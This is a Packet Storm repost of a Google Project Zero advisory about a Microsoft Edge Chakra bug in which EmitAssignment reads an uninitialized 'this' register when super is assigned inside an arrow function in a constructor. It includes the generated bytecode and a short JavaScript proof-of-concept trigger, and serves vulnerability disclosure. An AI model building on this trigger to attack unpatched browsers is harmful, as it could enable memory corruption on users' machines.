Twenty Year Anniversary

Microsoft Edge Chakra EmitAssignment Register Issue

Microsoft Edge Chakra EmitAssignment Register Issue
Posted Aug 16, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra has an issue where EmitAssignment uses the "this" register without initializing.

tags | advisory
MD5 | 46341894e6a60a6a21b912305869341d

Microsoft Edge Chakra EmitAssignment Register Issue

Change Mirror Download
 Microsoft Edge: Chakra: EmitAssignment uses the "this" register without initializing 




"EmitAssignment" doesn't call "EmitSuperMethodBegin" that initializes the "this" register for the case when the super keyword is used.

Here's the generated bytecode for the lambda function in the PoC. <a href="https://crrev.com/5" title="" class="" rel="nofollow">R5</a> is uninitialized.
Function Anonymous function ( (#1.3), #4) (In0) (size: 7 [7])
9 locals (1 temps from <a href="https://crrev.com/8" title="" class="" rel="nofollow">R8</a>), 1 inline cache
Constant Table:
======== =====
<a href="https://crrev.com/1" title="" class="" rel="nofollow">R1</a> LdRoot
<a href="https://crrev.com/2" title="" class="" rel="nofollow">R2</a> Ld_A (undefined)
<a href="https://crrev.com/3" title="" class="" rel="nofollow">R3</a> LdC_A_I4 int:1

0000 ProfiledLdEnvSlot <a href="https://crrev.com/6" title="" class="" rel="nofollow">R6</a> = [1][4] <0>
000c ProfiledLdEnvSlot <a href="https://crrev.com/4" title="" class="" rel="nofollow">R4</a> = [1][3] <1>


Line 28: super.a = 1;
Col 13: ^
0018 LdHomeObjProto <a href="https://crrev.com/8" title="" class="" rel="nofollow">R8</a> <a href="https://crrev.com/4" title="" class="" rel="nofollow">R4</a>
001d ProfiledStSuperFld <a href="https://crrev.com/8" title="" class="" rel="nofollow">R8</a>.(this=<a href="https://crrev.com/5" title="" class="" rel="nofollow">R5</a>) = <a href="https://crrev.com/3" title="" class="" rel="nofollow">R3</a> #0 <0>
0025 LdUndef <a href="https://crrev.com/0" title="" class="" rel="nofollow">R0</a>


Line 29: }
Col 9: ^
0027 Ret

PoC:
class Parent {

};

class Child extends Parent {
constructor() {
(() => {
super.a = 10; // Implicitly use the "this" register. So it must be initialized.
})();
}
};

new Child();



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close